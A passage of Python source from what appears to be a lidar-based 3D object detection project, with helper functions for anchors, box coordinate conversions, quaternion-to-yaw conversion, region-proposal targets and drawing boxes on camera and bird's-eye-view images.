not correct\ndef anchor_to_standup_box2d(anchors):\n    # (N, 4) -> (N, 4) x,y,w,l -> x1,y1,x2,y2\n    anchor_standup = np.zeros_like(anchors)\n    # r == 0\n    anchor_standup[::2, 0] = anchors[::2, 0] - anchors[::2, 3] / 2\n    anchor_standup[::2, 1] = anchors[::2, 1] - anchors[::2, 2] / 2\n    anchor_standup[::2, 2] = anchors[::2, 0] + anchors[::2, 3] / 2\n    anchor_standup[::2, 3] = anchors[::2, 1] + anchors[::2, 2] / 2\n    # r == pi/2\n    anchor_standup[1::2, 0] = anchors[1::2, 0] - anchors[1::2, 2] / 2\n    anchor_standup[1::2, 1] = anchors[1::2, 1] - anchors[1::2, 3] / 2\n    anchor_standup[1::2, 2] = anchors[1::2, 0] + anchors[1::2, 2] / 2\n    anchor_standup[1::2, 3] = anchors[1::2, 1] + anchors[1::2, 3] / 2\n\n    return anchor_standup\n\n\ndef corner_to_center_box3d(boxes_corner, coordinate='camera', T_VELO_2_CAM=None, R_RECT_0=None):\n    # (N, 8, 3) -> (N, 10) x,y,z,h,w,l,q0-q3\n\n    # if coordinate == 'lidar':\n    #     for idx in range(len(boxes_corner)):\n    #         boxes_corner[idx] = lidar_to_camera_point(boxes_corner[idx], T_VELO_2_CAM, R_RECT_0)\n    ret = []\n    for roi in boxes_corner:\n        if cfg.CORNER2CENTER_AVG:  # average version\n            roi = np.array(roi)\n            h = abs(np.sum(roi[:4, 1] - roi[4:, 1]) / 4)\n            w = np.sum(\n                np.sqrt(np.sum((roi[0, [0, 2]] - roi[3, [0, 2]])**2)) +\n                np.sqrt(np.sum((roi[1, [0, 2]] - roi[2, [0, 2]])**2)) +\n                np.sqrt(np.sum((roi[4, [0, 2]] - roi[7, [0, 2]])**2)) +\n                np.sqrt(np.sum((roi[5, [0, 2]] - roi[6, [0, 2]])**2))\n            ) / 4\n            l = np.sum(\n                np.sqrt(np.sum((roi[0, [0, 2]] - roi[1, [0, 2]])**2)) +\n                np.sqrt(np.sum((roi[2, [0, 2]] - roi[3, [0, 2]])**2)) +\n                np.sqrt(np.sum((roi[4, [0, 2]] - roi[5, [0, 2]])**2)) +\n                np.sqrt(np.sum((roi[6, [0, 2]] - roi[7, [0, 2]])**2))\n            ) / 4\n            x = np.sum(roi[:, 0], axis=0)/ 8\n            y = np.sum(roi[0:4, 1], axis=0)/ 4\n            z = np.sum(roi[:, 2], axis=0)/ 8\n            ry = np.sum(\n                math.atan2(roi[2, 0] - roi[1, 0], roi[2, 2] - roi[1, 2]) +\n                math.atan2(roi[6, 0] - roi[5, 0], roi[6, 2] - roi[5, 2]) +\n                math.atan2(roi[3, 0] - roi[0, 0], roi[3, 2] - roi[0, 2]) +\n                math.atan2(roi[7, 0] - roi[4, 0], roi[7, 2] - roi[4, 2]) +\n                math.atan2(roi[0, 2] - roi[1, 2], roi[1, 0] - roi[0, 0]) +\n                math.atan2(roi[4, 2] - roi[5, 2], roi[5, 0] - roi[4, 0]) +\n                math.atan2(roi[3, 2] - roi[2, 2], roi[2, 0] - roi[3, 0]) +\n                math.atan2(roi[7, 2] - roi[6, 2], roi[6, 0] - roi[7, 0])\n            ) / 8\n            if w > l:\n                w, l = l, w\n                ry = angle_in_limit(ry + np.pi / 2)\n        else:  # max version\n            h = max(abs(roi[:4, 1] - roi[4:, 1]))\n            w = np.max(\n                np.sqrt(np.sum((roi[0, [0, 2]] - roi[3, [0, 2]])**2)) +\n                np.sqrt(np.sum((roi[1, [0, 2]] - roi[2, [0, 2]])**2)) +\n                np.sqrt(np.sum((roi[4, [0, 2]] - roi[7, [0, 2]])**2)) +\n                np.sqrt(np.sum((roi[5, [0, 2]] - roi[6, [0, 2]])**2))\n            )\n            l = np.max(\n                np.sqrt(np.sum((roi[0, [0, 2]] - roi[1, [0, 2]])**2)) +\n                np.sqrt(np.sum((roi[2, [0, 2]] - roi[3, [0, 2]])**2)) +\n                np.sqrt(np.sum((roi[4, [0, 2]] - roi[5, [0, 2]])**2)) +\n                np.sqrt(np.sum((roi[6, [0, 2]] - roi[7, [0, 2]])**2))\n            )\n            x = np.sum(roi[:, 0], axis=0)/ 8\n            y = np.sum(roi[0:4, 1], axis=0)/ 4\n            z = np.sum(roi[:, 2], axis=0)/ 8\n            ry = np.sum(\n                math.atan2(roi[2, 0] - roi[1, 0], roi[2, 2] - roi[1, 2]) +\n                math.atan2(roi[6, 0] - roi[5, 0], roi[6, 2] - roi[5, 2]) +\n                math.atan2(roi[3, 0] - roi[0, 0], roi[3, 2] - roi[0, 2]) +\n                math.atan2(roi[7, 0] - roi[4, 0], roi[7, 2] - roi[4, 2]) +\n                math.atan2(roi[0, 2] - roi[1, 2], roi[1, 0] - roi[0, 0]) +\n                math.atan2(roi[4, 2] - roi[5, 2], roi[5, 0] - roi[4, 0]) +\n                math.atan2(roi[3, 2] - roi[2, 2], roi[2, 0] - roi[3, 0]) +\n                math.atan2(roi[7, 2] - roi[6, 2], roi[6, 0] - roi[7, 0])\n            ) / 8\n            if w > l:\n                w, l = l, w\n                ry = angle_in_limit(ry + np.pi / 2)\n        ret.append([x, y, z, h, w, l, ry])\n    if coordinate == 'lidar':\n        ret = camera_to_lidar_box(np.array(ret), T_VELO_2_CAM, R_RECT_0)\n\n    return np.array(ret)\n\n\n# this just for visualize and testing\ndef lidar_box3d_to_camera_box(boxes3d, cal_projection=False, P2 = None, T_VELO_2_CAM=None):\n    # (N, 10) or (N,7) -> (N, 4)/(N, 8, 2)  x,y,z,h,w,l,q0-q3 -> x1,y1,x2,y2/8*(x, y)\n    num = len(boxes3d)\n    boxes2d = np.zeros((num, 4), dtype=np.int32)\n    projections = np.zeros((num, 8, 2), dtype=np.float32)\n\n    lidar_boxes3d_corner = center_to_corner_box3d(boxes3d, coordinate='lidar', T_VELO_2_CAM=T_VELO_2_CAM)\n    for n in range(num):\n        box3d = lidar_boxes3d_corner[n]\n        box3d = lidar_to_camera_point(box3d, T_VELO_2_CAM)\n        #points = np.hstack((box3d, np.ones((8, 1)))).T  # (8, 4) -> (4, 8)\n        points = np.matmul(P2, box3d).T\n        points[:, 0] /= points[:, 2]\n        points[:, 1] /= points[:, 2]\n\n        projections[n] = points[:, 0:2]\n        minx = int(np.min(points[:, 0]))\n        maxx = int(np.max(points[:, 0]))\n        miny = int(np.min(points[:, 1]))\n        maxy = int(np.max(points[:, 1]))\n\n        boxes2d[n, :] = minx, miny, maxx, maxy\n\n    return projections if cal_projection else boxes2d\n\n\ndef lidar_to_bird_view_img(lidar, factor=1):\n    # Input:\n    #   lidar: (N', 4)\n    # Output:\n    #   birdview: (w, l, 3)\n    birdview = np.zeros(\n        (cfg.INPUT_HEIGHT * factor, cfg.INPUT_WIDTH * factor, 1))\n    for point in lidar:\n        x, y = point[0:2]\n        if cfg.X_MIN < x < cfg.X_MAX and cfg.Y_MIN < y < cfg.Y_MAX:\n            x, y = int((x - cfg.X_MIN) / cfg.VOXEL_X_SIZE *\n                       factor), int((y - cfg.Y_MIN) / cfg.VOXEL_Y_SIZE * factor)\n            birdview[y, x] += 1\n    birdview = birdview - np.min(birdview)\n    divisor = np.max(birdview) - np.min(birdview)\n    # TODO: adjust this factor\n    birdview = np.clip((birdview / divisor * 255) *\n                       5 * factor, a_min=0, a_max=255)\n    birdview = np.tile(birdview, 3).astype(np.uint8)\n\n    return birdview\n\n\ndef draw_lidar_box3d_on_image(img, boxes3d, scores, gt_boxes3d=np.array([]),\n                              color=(0, 255, 255), gt_color=(255, 0, 255), thickness=1, P2 = None, T_VELO_2_CAM=None):\n    # Input:\n    #   img: (h, w, 3)\n    #   boxes3d (N, 7) [x, y, z, h, w, l, r]\n    #   scores\n    #   gt_boxes3d (N, 10) [x, y, z, h, w, l, q0-q3]\n    img = img.copy()\n    #print(f'predicted boxes3d:{boxes3d.shape},ground truth boxes3d:{gt_boxes3d.shape}')\n    projections = lidar_box3d_to_camera_box(boxes3d, cal_projection=True, P2=P2, T_VELO_2_CAM=T_VELO_2_CAM)\n    #print('begin to draw ground truth box.')\n    gt_projections = lidar_box3d_to_camera_box(gt_boxes3d, cal_projection=True, P2=P2, T_VELO_2_CAM=T_VELO_2_CAM)\n    #print(f'gt_projections:{gt_projections[0]}')\n    # draw projections\n    for qs in projections:\n        for k in range(0, 4):\n            i, j = k, (k + 1) % 4\n            cv2.line(img, (qs[i, 0], qs[i, 1]), (qs[j, 0],\n                                                 qs[j, 1]), color, thickness, cv2.LINE_AA)\n\n            i, j = k + 4, (k + 1) % 4 + 4\n            cv2.line(img, (qs[i, 0], qs[i, 1]), (qs[j, 0],\n                                                 qs[j, 1]), color, thickness, cv2.LINE_AA)\n\n            i, j = k, k + 4\n            cv2.line(img, (qs[i, 0], qs[i, 1]), (qs[j, 0],\n                                                 qs[j, 1]), color, thickness, cv2.LINE_AA)\n    # draw gt projections\n    for qs in gt_projections:\n        for k in range(0, 4):\n            i, j = k, (k + 1) % 4\n            cv2.line(img, (qs[i, 0], qs[i, 1]), (qs[j, 0],\n                                                 qs[j, 1]), gt_color, thickness, cv2.LINE_AA)\n\n            i, j = k + 4, (k + 1) % 4 + 4\n            cv2.line(img, (qs[i, 0], qs[i, 1]), (qs[j, 0],\n                                                 qs[j, 1]), gt_color, thickness, cv2.LINE_AA)\n\n            i, j = k, k + 4\n            cv2.line(img, (qs[i, 0], qs[i, 1]), (qs[j, 0],\n                                                 qs[j, 1]), gt_color, thickness, cv2.LINE_AA)\n\n    return cv2.cvtColor(img.astype(np.uint8), cv2.COLOR_BGR2RGB)\n    \n\n\ndef draw_lidar_box3d_on_birdview(birdview, boxes3d, scores, gt_boxes3d=np.array([]),\n                                 color=(0, 255, 255), gt_color=(255, 0, 255), thickness=1, factor=1, P2 = None, T_VELO_2_CAM=None, R_RECT_0=None):\n    # Input:\n    #   birdview: (h, w, 3)\n    #   boxes3d (N, 7) [x, y, z, h, w, l, r]\n    #   scores\n    #   gt_boxes3d (N, 7) [x, y, z, h, w, l, r]\n    img = birdview.copy()\n    corner_boxes3d = center_to_corner_box3d(boxes3d, coordinate='lidar', T_VELO_2_CAM=T_VELO_2_CAM, R_RECT_0=R_RECT_0)\n    corner_gt_boxes3d = center_to_corner_box3d(gt_boxes3d, coordinate='lidar', T_VELO_2_CAM=T_VELO_2_CAM, R_RECT_0=R_RECT_0)\n    # draw gt\n    for box in corner_gt_boxes3d:\n        x0, y0 = lidar_to_bird_view(*box[0, 0:2], factor=factor)\n        x1, y1 = lidar_to_bird_view(*box[1, 0:2], factor=factor)\n        x2, y2 = lidar_to_bird_view(*box[2, 0:2], factor=factor)\n        x3, y3 = lidar_to_bird_view(*box[3, 0:2], factor=factor)\n\n        cv2.line(img, (int(x0), int(y0)), (int(x1), int(y1)),\n                 gt_color, thickness, cv2.LINE_AA)\n        cv2.line(img, (int(x1), int(y1)), (int(x2), int(y2)),\n                 gt_color, thickness, cv2.LINE_AA)\n        cv2.line(img, (int(x2), int(y2)), (int(x3), int(y3)),\n                 gt_color, thickness, cv2.LINE_AA)\n        cv2.line(img, (int(x3), int(y3)), (int(x0), int(y0)),\n                 gt_color, thickness, cv2.LINE_AA)\n\n    # draw detections\n    for box in corner_boxes3d:\n        x0, y0 = lidar_to_bird_view(*box[0, 0:2], factor=factor)\n        x1, y1 = lidar_to_bird_view(*box[1, 0:2], factor=factor)\n        x2, y2 = lidar_to_bird_view(*box[2, 0:2], factor=factor)\n        x3, y3 = lidar_to_bird_view(*box[3, 0:2], factor=factor)\n\n        cv2.line(img, (int(x0), int(y0)), (int(x1), int(y1)),\n                 color, thickness, cv2.LINE_AA)\n        cv2.line(img, (int(x1), int(y1)), (int(x2), int(y2)),\n                 color, thickness, cv2.LINE_AA)\n        cv2.line(img, (int(x2), int(y2)), (int(x3), int(y3)),\n                 color, thickness, cv2.LINE_AA)\n        cv2.line(img, (int(x3), int(y3)), (int(x0), int(y0)),\n                 color, thickness, cv2.LINE_AA)\n\n    return cv2.cvtColor(img.astype(np.uint8), cv2.COLOR_BGR2RGB)\n\n\ndef label_to_gt_box3d(labels, cls='Car'):\n    # Input:\n    #   label: (N, N',11)\n    #   cls: 'Car' or 'Pedestrain' or 'Cyclist'\n    #   coordinate: 'camera' or 'lidar'\n    # Output:\n    #   (N, N', 10)\n    #print(f'raw labels:{labels.shape}')\n    boxes3d = []\n    if cls == 'Car':\n        acc_cls = ['Car']\n    elif cls == 'Pedestrian':\n        acc_cls = ['Pedestrian']\n    elif cls == 'Cyclist':\n        acc_cls = ['Cyclist']\n    else: # all\n        acc_cls = []\n\n    acc_cls = [get_class_id(x) for x in acc_cls]\n\n    for label in labels:\n        boxes3d_a_label = []\n        for row in label:\n            #print(f'row:{row}')\n            if row[10] in acc_cls or acc_cls == []:\n                box3d = row[0:10]\n                #print(f'boxe3d:{box3d.shape}')\n                boxes3d_a_label.append(box3d)\n\n        boxes3d.append(np.array(boxes3d_a_label).reshape(-1, 10))\n\n    #print(f'through label to gt box3d:{boxes3d}')\n    return boxes3d\n\n\ndef box3d_to_label(tag, batch_box3d, batch_cls, batch_score=[], coordinate='camera', P2 = None, T_VELO_2_CAM=None, R_RECT_0=None):\n    # Input:\n    #   (N, N', 7) x y z h w l r\n    #   (N, N')\n    #   cls: (N, N') 'Car' or 'Pedestrain' or 'Cyclist'\n    #   coordinate(input): 'camera' or 'lidar'\n    # Output:\n    #   label: (N, N') N batches and N lines\n    batch_label = []\n    calib_dir = \"{}/{}/calibration\".format(cfg.DATA_DIR, 'validation')\n    _, Tr, P = load_calib(os.path.join(calib_dir, tag + '.json'))\n    R_RECT_0 = cfg.MATRIX_R_RECT_0\n\n    if batch_score:\n        template = '{} ' + ' '.join(['{:.4f}' for i in range(15)]) + '\\n'\n        for boxes, scores, clses in zip(batch_box3d, batch_score, batch_cls):\n            label = []\n            for box, score, cls in zip(boxes, scores, clses):\n                if coordinate == 'camera':\n                    box3d = box\n                    box2d = lidar_box3d_to_camera_box(\n                        camera_to_lidar_box(box[np.newaxis, :].astype(np.float32), T_VELO_2_CAM, R_RECT_0), cal_projection=False, P2=P2, T_VELO_2_CAM=T_VELO_2_CAM, R_RECT_0=R_RECT_0)[0]\n                else:\n                    box3d = lidar_to_camera_box(\n                        box[np.newaxis, :].astype(np.float32), Tr, R_RECT_0)[0]\n                    box2d = lidar_box3d_to_camera_box(\n                        box[np.newaxis, :].astype(np.float32), cal_projection=False, P2=P, T_VELO_2_CAM=Tr)[0]\n                x, y, z, h, w, l, r = box3d\n                box3d = [h, w, l, x, y, z, r]\n                label.append(template.format(cls, 0, 0, 0, *box2d, *box3d, float(score)))\n            batch_label.append(label)\n    else:\n        template = '{} ' + ' '.join(['{:.4f}' for i in range(14)]) + '\\n'\n        for boxes, clses in zip(batch_box3d, batch_cls):\n            label = []\n            for box, cls in zip(boxes, clses):\n                if coordinate == 'camera':\n                    box3d = box\n                    box2d = lidar_box3d_to_camera_box(\n                        camera_to_lidar_box(box[np.newaxis, :].astype(np.float32), T_VELO_2_CAM, R_RECT_0), cal_projection=False,  P2=P2, T_VELO_2_CAM=T_VELO_2_CAM, R_RECT_0=R_RECT_0)[0]\n                else:\n                    box3d = lidar_to_camera_box(\n                        box[np.newaxis, :].astype(np.float32), T_VELO_2_CAM, R_RECT_0)[0]\n                    box2d = lidar_box3d_to_camera_box(\n                        box[np.newaxis, :].astype(np.float32), cal_projection=False, P2=P2, T_VELO_2_CAM=T_VELO_2_CAM)[0]\n                # x, y, z, h, w, l, r = box3d\n                # box3d = [h, w, l, x, y, z, r]\n                # label.append(template.format(cls, 0, 0, 0, *box2d, *box3d))\n                label = np.concatenate([box3d, cls], axis=-1)\n                #print(f'label in data aug: {label.shape}')\n            batch_label.append(label)\n\n    return np.array(batch_label)\n\n\ndef cal_anchors(cfg):\n    # Output:\n    #   anchors: (w, l, 2, 7) x y z h w l q0 q1 q2 q3\n    x = np.linspace(cfg.X_MIN, cfg.X_MAX, cfg.FEATURE_WIDTH)\n    y = np.linspace(cfg.Y_MIN, cfg.Y_MAX, cfg.FEATURE_HEIGHT)\n    cx, cy = np.meshgrid(x, y)\n    # all is (w, l, 2)cal_anchors\n    cx = np.tile(cx[..., np.newaxis], 2)\n    cy = np.tile(cy[..., np.newaxis], 2)\n    cz = np.ones_like(cx) * cfg.ANCHOR_Z\n    w = np.ones_like(cx) * cfg.ANCHOR_W\n    l = np.ones_like(cx) * cfg.ANCHOR_L\n    h = np.ones_like(cx) * cfg.ANCHOR_H\n    r = np.ones_like(cx)\n    r[..., 0] = 0  # 0\n    r[..., 1] = 90 / 180 * np.pi  # 90\n\n    # 7*(w,l,2) -> (w, l, 2, 7)\n    anchors = np.stack([cx, cy, cz, h, w, l, r], axis=-1)\n\n    return anchors\n\ndef quat_to_mat(quat):\n    q = quat.copy()\n    q=np.array(q)\n    n = np.dot(q, q)\n    if n < np.finfo(q.dtype).eps:\n        rot_matrix=np.identity(4)\n        return rot_matrix\n    q = q * np.sqrt(2.0 / n)\n    q = np.outer(q, q)\n    rot_matrix = np.array(\n        [[1.0 - q[2, 2] - q[3, 3], q[1, 2] + q[3, 0], q[1, 3] - q[2, 0]],\n         [q[1, 2] - q[3, 0], 1.0 - q[1, 1] - q[3, 3], q[2, 3] + q[1, 0]],\n         [q[1, 3] + q[2, 0], q[2, 3] - q[1, 0], 1.0 - q[1, 1] - q[2, 2]]],\n        dtype=q.dtype)\n    return rot_matrix\n\ndef mat_to_ang(R):\n    q = np.zeros(4)\n    K = np.zeros([4, 4])\n    K[0, 0] = 1 / 3 * (R[0, 0] - R[1, 1] - R[2, 2])\n    K[0, 1] = 1 / 3 * (R[1, 0] + R[0, 1])\n    K[0, 2] = 1 / 3 * (R[2, 0] + R[0, 2])\n    K[0, 3] = 1 / 3 * (R[1, 2] - R[2, 1])\n    K[1, 0] = 1 / 3 * (R[1, 0] + R[0, 1])\n    K[1, 1] = 1 / 3 * (R[1, 1] - R[0, 0] - R[2, 2])\n    K[1, 2] = 1 / 3 * (R[2, 1] + R[1, 2])\n    K[1, 3] = 1 / 3 * (R[2, 0] - R[0, 2])\n    K[2, 0] = 1 / 3 * (R[2, 0] + R[0, 2])\n    K[2, 1] = 1 / 3 * (R[2, 1] + R[1, 2])\n    K[2, 2] = 1 / 3 * (R[2, 2] - R[0, 0] - R[1, 1])\n    K[2, 3] = 1 / 3 * (R[0, 1] - R[1, 0])\n    K[3, 0] = 1 / 3 * (R[1, 2] - R[2, 1])\n    K[3, 1] = 1 / 3 * (R[2, 0] - R[0, 2])\n    K[3, 2] = 1 / 3 * (R[0, 1] - R[1, 0])\n    K[3, 3] = 1 / 3 * (R[0, 0] + R[1, 1] + R[2, 2])\n    D, V = np.linalg.eig(K)\n    pp = 0\n    for i in range(1, 4):\n        if (D[i] > D[pp]):\n            pp = i\n    q = V[:, pp]\n    x = q[3]\n    y = q[0]\n    z = q[1]\n    w = q[2]\n    rol = math.atan2(2 * (w * x + y * z), 1 - 2 * (x * x + y * y))  # the rol is the yaw angle!\n    # pith = math.asin(2*(w*y-z*z))\n    # yaw = math.atan2(2*(w*z+x*y),1-2*(z*z+y*y))\n\n    return rol\n\ndef gt_boxes3d_to_yaw(batch_boxes, T_VELO_2_CAM):\n    # Input: (N, N', 10)\n    # Output: (N, N', 7)\n    #print(f'prepare to convert into yaw:{len(batch_boxes)}')\n    batch_boxes_yaw = []\n    for boxes in batch_boxes:\n        boxes_yaw = []\n        #print(f'boxes:{boxes}')\n        for box in boxes:\n            #print(f'box:{box.shape},{box}')\n            center_point = np.insert(box[0:3], 3, values=1)\n            #print(f'center point shape:{center_point.shape},{center_point}')\n            center_point = np.matmul(T_VELO_2_CAM, center_point)\n            #(f'center point shape:{center_point.shape}')\n\n            quaternion = box[6:10]\n            #print(f'quaternion: {quaternion.shape}, {quaternion}')\n            rotation_mat = quat_to_mat(quaternion)\n            rotation_mat = np.matmul(T_VELO_2_CAM[:,:3], rotation_mat)\n            yaw = mat_to_ang(rotation_mat)\n\n\n            box_yaw = np.hstack((center_point, box[3:6], yaw))\n            #print(f'len of new box in yaw:{box_yaw.shape}')\n            boxes_yaw.append(box_yaw)\n\n        #print(f'boxes:{len(boxes_yaw)}')\n        batch_boxes_yaw.append(np.array(boxes_yaw).reshape(-1, 7))\n\n    #print(f'result batch boxes in yaw:{len(batch_boxes_yaw)}')\n\n    return batch_boxes_yaw\n\ndef gt_boxes3d_to_yaw(batch_boxes):\n    # Input: (N, N', 10)\n    # Output: (N, N', 7)\n    #print(f'prepare to convert into yaw:{len(batch_boxes)}')\n    batch_boxes_yaw = []\n    for boxes in batch_boxes:\n        boxes_yaw = []\n        #print(f'boxes:{boxes}')\n        for box in boxes:\n            #print(f'box:{box.shape},{box}')\n\n            quaternion = box[6:10]\n            #print(f'quaternion: {quaternion.shape}')\n            _, _, yaw = qaut_to_angle(quaternion)\n\n\n            box_yaw = np.hstack((box[0:6], yaw))\n            #print(f'len of new box in yaw:{box_yaw.shape}')\n            boxes_yaw.append(box_yaw)\n\n        #print(f'boxes:{len(boxes_yaw)}')\n        batch_boxes_yaw.append(np.array(boxes_yaw).reshape(-1, 7))\n\n    #print(f'result batch boxes in yaw:{len(batch_boxes_yaw)}')\n\n    return batch_boxes_yaw\n\n\ndef cal_rpn_target(labels, feature_map_shape, anchors, cls='Car', coordinate='lidar'):\n    # Input:\n    #   labels: (N, N')\n    #   feature_map_shape: (w, l)\n    #   anchors: (w, l, 2, 7)\n    # Output:\n    #   pos_equal_one (N, w, l, 2)\n    #   neg_equal_one (N, w, l, 2)\n    #   targets (N, w, l, 14)\n    # attention: cal IoU on birdview\n    batch_size = labels.shape[0]\n    batch_gt_boxes3d = label_to_gt_box3d(labels, cls=cls)\n\n    # projection gt_boxes3d from 10 dimension to 7 dimension (x y z h w l q0-3 -> x y z h w l r)\n    batch_gt_boxes3d = gt_boxes3d_to_yaw(batch_gt_boxes3d)\n    #print('finish converting label box to xy plane.')\n    # defined in eq(1) in 2.2\n    anchors_reshaped = anchors.reshape(-1, 7)\n    anchors_d = np.sqrt(anchors_reshaped[:, 4]**2 + anchors_reshaped[:, 5]**2)\n    pos_equal_one = np.zeros((batch_size, *feature_map_shape, 2), dtype=np.float32)\n    neg_equal_one = np.zeros((batch_size, *feature_map_shape, 2), dtype=np.float32)\n    targets = np.zeros((batch_size, *feature_map_shape, 14), dtype=np.float32)\n\n    for batch_id in range(batch_size):\n        # BOTTLENECK\n        anchors_standup_2d = anchor_to_standup_box2d(\n            anchors_reshaped[:, [0, 1, 4, 5]])\n        # BOTTLENECK\n        gt_standup_2d = corner_to_standup_box2d(center_to_corner_box2d(\n            batch_gt_boxes3d[batch_id][:, [0, 1, 4, 5, 6]], coordinate=coordinate))\n\n        iou = bbox_overlaps(\n            np.ascontiguousarray(anchors_standup_2d).astype(np.float32),\n            np.ascontiguousarray(gt_standup_2d).astype(np.float32),\n        )\n        # iou = cal_box3d_iou(\n        #     anchors_reshaped,\n        #     batch_gt_boxes3d[batch_id]\n        # )\n\n        # find anchor with highest iou(iou should also > 0)\n        id_highest = np.argmax(iou.T, axis=1)\n        id_highest_gt = np.arange(iou.T.shape[0])\n        mask = iou.T[id_highest_gt, id_highest] > 0\n        id_highest, id_highest_gt = id_highest[mask], id_highest_gt[mask]\n\n        # find anchor iou > cfg.XXX_POS_IOU\n        id_pos, id_pos_gt = np.where(iou > cfg.RPN_POS_IOU)\n\n        # find anchor iou < cfg.XXX_NEG_IOU\n        id_neg = np.where(np.sum(iou < cfg.RPN_NEG_IOU,\n                                 axis=1) == iou.shape[1])[0]\n\n        id_pos = np.concatenate([id_pos, id_highest])\n        id_pos_gt = np.concatenate([id_pos_gt, id_highest_gt])\n\n        # TODO: uniquify the array in a more scientific way\n        id_pos, index = np.unique(id_pos, return_index=True)\n        id_pos_gt = id_pos_gt[index]\n        id_neg.sort()\n\n        # cal the target and set the equal one\n        index_x, index_y, index_z = np.unravel_index(\n            id_pos, (*feature_map_shape, 2))\n        pos_equal_one[batch_id, index_x, index_y, index_z] = 1\n\n        # ATTENTION: index_z should be np.array\n        targets[batch_id, index_x, index_y, np.array(index_z) * 7] = (\n            batch_gt_boxes3d[batch_id][id_pos_gt, 0] - anchors_reshaped[id_pos, 0]) / anchors_d[id_pos]\n        targets[batch_id, index_x, index_y, np.array(index_z) * 7 + 1] = (\n            batch_gt_boxes3d[batch_id][id_pos_gt, 1] - anchors_reshaped[id_pos, 1]) / anchors_d[id_pos]\n        targets[batch_id, index_x, index_y, np.array(index_z) * 7 + 2] = (\n            batch_gt_boxes3d[batch_id][id_pos_gt, 2] - anchors_reshaped[id_pos, 2]) / cfg.ANCHOR_H\n        targets[batch_id, index_x, index_y, np.array(index_z) * 7 + 3] = np.log(\n            batch_gt_boxes3d[batch_id][id_pos_gt, 3] / anchors_reshaped[id_pos, 3])\n        targets[batch_id, index_x, index_y, np.array(index_z) * 7 + 4] = np.log(\n            batch_gt_boxes3d[batch_id][id_pos_gt, 4] / anchors_reshaped[id_pos, 4])\n        targets[batch_id, index_x, index_y, np.array(index_z) * 7 + 5] = np.log(\n            batch_gt_boxes3d[batch_id][id_pos_gt, 5] / anchors_reshaped[id_pos, 5])\n        targets[batch_id, index_x, index_y, np.array(index_z) * 7 + 6] = (\n            batch_gt_boxes3d[batch_id][id_pos_gt, 6] - anchors_reshaped[id_pos, 6])\n\n        index_x, index_y, index_z = np.unravel_index(\n            id_neg, (*feature_map_shape, 2))\n        neg_equal_one[batch_id, index_x, index_y, index_z] = 1\n        # to avoid a box be pos/neg in the same time\n        index_x, index_y, index_z = np.unravel_index(\n            id_highest, (*feature_map_shape, 2))\n        neg_equal_one[batch_id, index_x, index_y, index_z] = 0\n\n    return pos_equal_one, neg_equal_one, targets\n\n\n# BOTTLENECK\ndef delta_to_boxes3d(deltas, anchors, coordinate='lidar'):\n    # Input:\n    #   deltas: (N, w, l, 14)\n    #   feature_map_shape: (w, l)\n    #   anchors: (w, l, 2, 7)\n\n    # Ouput:\n    #   boxes3d: (N, w*l*2, 7)\n    anchors_reshaped = anchors.reshape(-1, 7)\n    deltas = deltas.reshape(deltas.shape[0], -1, 7)\n    anchors_d = np.sqrt(anchors_reshaped[:, 4]**2 + anchors_reshaped[:, 5]**2)\n    boxes3d = np.zeros_like(deltas)\n    boxes3d[..., [0, 1]] = deltas[..., [0, 1]] * \\\n        anchors_d[:, np.newaxis] + anchors_reshaped[..., [0, 1]]\n    boxes3d[..., [2]] = deltas[..., [2]] * \\\n        cfg.ANCHOR_H + anchors_reshaped[..., [2]]\n    boxes3d[..., [3, 4, 5]] = np.exp(\n        deltas[..., [3, 4, 5]]) * anchors_reshaped[..., [3, 4, 5]]\n    boxes3d[..., 6] = deltas[..., 6] + anchors_reshaped[..., 6]\n\n    return boxes3d\n\n\ndef point_transform(points, tx, ty, tz, rx=0, ry=0, rz=0):\n    # Input:\n    #   points: (N, 3)\n    #   rx/y/z: in radians\n    # Output:\n    #   points: (N, 3)\n    N = points.shape[0]\n    points = np.hstack([points, np.ones((N, 1))])\n\n    mat1 = np.eye(4)\n    mat1[3, 0:3] = tx, ty, tz\n    points = np.matmul(points, mat1)\n\n    if rx != 0:\n        mat = np.zeros((4, 4))\n        mat[0, 0] = 1\n        mat[3, 3] = 1\n        mat[1, 1] = np.cos(rx)\n        mat[1, 2] = -np.sin(rx)\n        mat[2, 1] = np.sin(rx)\n        mat[2, 2] = np.cos(rx)\n        points = np.matmul(points, mat)\n\n    if ry != 0:\n        mat = np.zeros((4, 4))\n        mat[1, 1] = 1\n        mat[3, 3] = 1\n        mat[0, 0] = np.cos(ry)\n        mat[0, 2] = np.sin(ry)\n        mat[2, 0] = -np.sin(ry)\n        mat[2, 2] = np.cos(ry)\n        points = np.matmul(points, mat)\n\n    if rz != 0:\n        mat = np.zeros((4, 4))\n        mat[2, 2] = 1\n        mat[3, 3] = 1\n        mat[0, 0] = np.cos(rz)\n        mat[0, 1] = -np.sin(rz)\n        mat[1, 0] = np.sin(rz)\n        mat[1, 1] = np.cos(rz)\n        points = np.matmul(points, mat)\n\n    return points[:, 0:3]\n\n\ndef box_transform(boxes, tx, ty, tz, r=0, coordinate='lidar'):\n    # Input:\n    #   boxes: (N, 10) x y z h w l q0-3\n    # Output:\n    #   boxes: (N, 10) x y z h w l q0-3\n\n    boxes_corner = center_to_corner_box3d(boxes, coordinate=coordinate)  # (N, 8, 3)\n    for idx in range(len(boxes_corner)):\n        if coordinate == 'lidar':\n            boxes_corner[idx] = point_transform(\n                boxes_corner[idx], tx, ty, tz, rz=r)\n        else:\n            boxes_corner[idx] = point_transform(\n                boxes_corner[idx], tx, ty, tz, ry=r)\n\n    return corner_to_center_box3d(boxes_corner, coordinate=coordinate)\n\ndef rotate_label(label, rx=0, ry=0, rz=0):\n\n    if rx != 0:\n        mat = np.zeros((3, 3))\n        mat[0, 0] = 1\n        mat[1, 1] = np.cos(rx)\n        mat[1, 2] = -np.sin(rx)\n        mat[2, 1] = np.sin(rx)\n        mat[2, 2] = np.cos(rx)\n\n    if ry != 0:\n        mat = np.zeros((3, 3))\n        mat[1, 1] = 1\n        mat[0, 0] = np.cos(ry)\n        mat[0, 2] = np.sin(ry)\n        mat[2, 0] = -np.sin(ry)\n        mat[2, 2] = np.cos(ry)\n\n    if rz != 0:\n        mat = np.zeros((3, 3))\n        mat[2, 2] = 1\n        mat[0, 0] = np.cos(rz)\n        mat[0, 1] = -np.sin(rz)\n        mat[1, 0] = np.sin(rz)\n        mat[1, 1] = np.cos(rz)\n\n    for i,row in enumerate(label):\n      translation = row[0:3]\n      quaternion = row[6:10]\n      roll, pitch, yaw = qaut_to_angle(quaternion)\n      rot_quaternion = angle_to_quat(roll, pitch, yaw-rz)\n      row[6:10] = 